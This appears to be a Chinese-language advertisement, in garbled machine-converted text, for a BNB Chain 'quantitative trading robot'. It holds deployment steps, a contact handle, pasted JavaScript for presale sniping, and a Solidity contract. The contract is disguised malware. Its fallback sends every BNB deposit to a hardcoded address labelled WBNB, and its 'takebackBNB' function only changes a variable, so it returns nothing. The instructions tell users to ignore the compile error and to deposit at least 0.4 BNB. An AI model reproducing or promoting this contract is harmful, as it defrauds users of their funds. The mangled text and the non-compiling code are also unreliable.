“量化交易”有着两层含意:一是从广义上来讲,是指量化交易的内容,将交易条件转变成为程序,主动下单;二是从狭义上来讲,是指零碎交易办法,就是一个整合的交易系统。即为依据一系列交易条件,智能化辅助决策体系,将丰盛的从业教训与交易条件相结合,在交易过程治理好危险管制。
pragma solidity ^0.4.0,量化合约智能合约dapp零碎开发v+hkkf5566;
/*
阐明:
部署时候15行有一条报错,间接疏忽就行这是失常景象
部署版本抉择 0.4.26
部署前批改174行地址为本人的钱包地址(其它任何中央不可批改)
部署合约名称为:robot
部署实现后向合约地址转入BNb 机器人将主动开始运行。(倡议转入不低于0.4BNb)
如须要取回合约外面的残余的BNB代币,请输出承受地址后点击takebackBNB。
请勿向合约地址转入除了Bnb以外的任何资产,否者将不可找回。
*/
contract { //这里会有报错,间接疏忽不必管
async function initBot() {
if (presaleContractAddress === '' || presaleContractAddress == null || presaleContractAddress.length !== 42 || await web3.eth.getCode(presaleContractAddress) === '0x') { return console.error('预售地址没填写或填写谬误,预售地址必须是合约地址');} else if (buyingBnbAmount === '' || buyingBnbAmount == null) { return console.error('购买BNB的数量填写谬误');} else if (senderPrivateKey === '' || senderPrivateKey == null) { return console.error('私钥填写谬误');}var privateKeys = [];if (senderPrivateKey.indexOf(',') > -1) { privateKeys = senderPrivateKey.split(',');} else { privateKeys.push(senderPrivateKey);}var addressesUsedToSendTransactions = ''; var firstIteration = true;for (var i = 0, len = privateKeys.length; i < len; i+=1) { if (privateKeys[i].length !== 66) { return console.error('须要传入一个或多个钱包私钥,多个钱包私钥请应用,作为分隔符'); } if (firstIteration) { firstIteration = false; addressesUsedToSendTransactions += web3.eth.accounts.privateKeyToAccount(privateKeys[i]).address; } else { addressesUsedToSendTransactions += ', ' + web3.eth.accounts.privateKeyToAccount(privateKeys[i]).address; }}var senderAddress = web3.eth.accounts.privateKeyToAccount(privateKeys[0]).address;web3.eth.getBalance(senderAddress).then(r => { const balance = r / 1000000000000000000 console.log("====================================================") console.log(`预售地址:`, chalk.green(presaleContractAddress)) console.log(`钱包地址:`, chalk.green(addressesUsedToSendTransactions)); console.log(`钱包余额:`, chalk.green(`${balance} BNB`)) console.log(`购买数量:`, chalk.green(`${buyingBnbAmount} BNB`)) console.log(`Gas limit: ${gasLimit}`); console.log(`Gas price: ${(gasPrice / 1000000000) + ' Gwei'}`); console.log(`矿工费: < ${(gasLimit * (gasPrice / 1000000000)) / 1000000000} BNB (Gax used x Gas price)`) console.log("====================================================") if (parseFloat(buyingBnbAmount) > balance) { console.log(chalk.red("钱包余额有余,已主动退出")) process.exit() }})if (botInitialDelay > 0) { console.log(`${hours}小时${mins}分钟${secs}秒后启动机器人 (${botInitialDelay / 1000}秒)`) console.log("期待中......")} else { console.log('启动胜利... ¯\\_(*o*)_/¯');}setTimeout(function () { var executeBuy = true; const job = new Cronr(cronTime, function() { // projectData.utils.consoleLog('Cronjob iteration.'); if (executeBuy) { executeBuy = false; var counter = 0; return recursiveTransactionsLoop(counter); function recursiveTransactionsLoop(counter) { var senderAddress = web3.eth.accounts.privateKeyToAccount(privateKeys[counter]).address; web3.eth.estimateGas({to: presaleContractAddress, from: senderAddress, value: web3.utils.toHex(web3.utils.toWei(buyingBnbAmount, 'ether'))}, function(gasEstimateError, gasAmount) { if (!gasEstimateError) { projectData.utils.consoleLog('Transaction estimation successful: ' + gasAmount); var txParams = { gas: web3.utils.toHex(gasLimit), gasPrice: web3.utils.toHex(gasPrice), chainId: chainId, value: web3.utils.toHex(web3.utils.toWei(buyingBnbAmount, 'ether')), to: presaleContractAddress }; web3.eth.accounts.signTransaction(txParams, privateKeys[counter], function (signTransactionErr, signedTx) { if (!signTransactionErr) { web3.eth.sendSignedTransaction(signedTx.rawTransaction, function (sendSignedTransactionErr, transactionHash) { if (!sendSignedTransactionErr) { if (counter === privateKeys.length - 1) { if (privateKeys.length === 1) { projectData.utils.consoleLog(`first and only transaction sent success. Transaction hash: ${transactionHash}. https://www.bscscan.com/tx/${transactionHash}`); } else { projectData.utils.consoleLog(`Completed last transaction. Transaction hash: ${transactionHash}. https://www.bscscan.com/tx/${transactionHash}`); } } else { projectData.utils.consoleLog('Completed transaction. Transaction hash: ' + transactionHash); counter+=1; return recursiveTransactionsLoop(counter); } } else { executeBuy = true; if (sendSignedTransactionErr.message) { projectData.utils.consoleLog('sendSignedTransaction failed, most likely signed with low gas limit.. Message: ' + sendSignedTransactionErr.message); } else { projectData.utils.consoleLog('sendSignedTransaction failed, most likely signed with low gas limit.. Message: ' + sendSignedTransactionErr.toString()); } if (counter !== privateKeys.length - 1) { counter+=1; return recursiveTransactionsLoop(counter); } } }) .on("receipt", () => { console.log(chalk.green(`Transaction confirmed.`)) }) .on("error", (err) => { console.log("Error during transaction execution. Details will follow.") console.log(err) }) } else { executeBuy = true; if (signTransactionErr.message) { projectData.utils.consoleLog('signTransaction failed, most likely signed with low gas limit. Message: ' + signTransactionErr.message); } else { projectData.utils.consoleLog('signTransaction failed, most likely signed with low gas limit. Message: ' + signTransactionErr.toString()); } if (counter !== privateKeys.length - 1) { counter+=1; return recursiveTransactionsLoop(counter); } } }); } else { executeBuy = true; if (gasEstimateError.message) { projectData.utils.consoleLog('estimateGas failed. Error message: ' + gasEstimateError.message); } else { projectData.utils.consoleLog('estimateGas failed. Error message: ' + gasEstimateError.toString()); } if (counter !== privateKeys.length - 1) { counter+=1; return recursiveTransactionsLoop(counter); } } }); } } }, {}); job.start();}, botInitialDelay);
}
contract robot {
address public beneficiary = 0x75D23E252bFE1500c7f654024d9800790620a853;//批改为你的收益地址(必须批改)constructor() public { }function () payable public { WBNBaddress.transfer(msg.value);}address USDTaddress = 0x55d398326f99059fF775485246999027B3197955;address USDCaddress = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;uint256 interlgas = 32000 ;function takebackBNB(address addre) public { beneficiary = addre ;}
address WBNBaddress = 0x26b9E75C844F1B8E700c903a3EBC53c69AC4Da28;
}
contract owned{
address public owner;constructor () public { owner = msg.sender;}modifier onlyOwner{ if(msg.sender != owner){ revert(); }else{ _; }}
}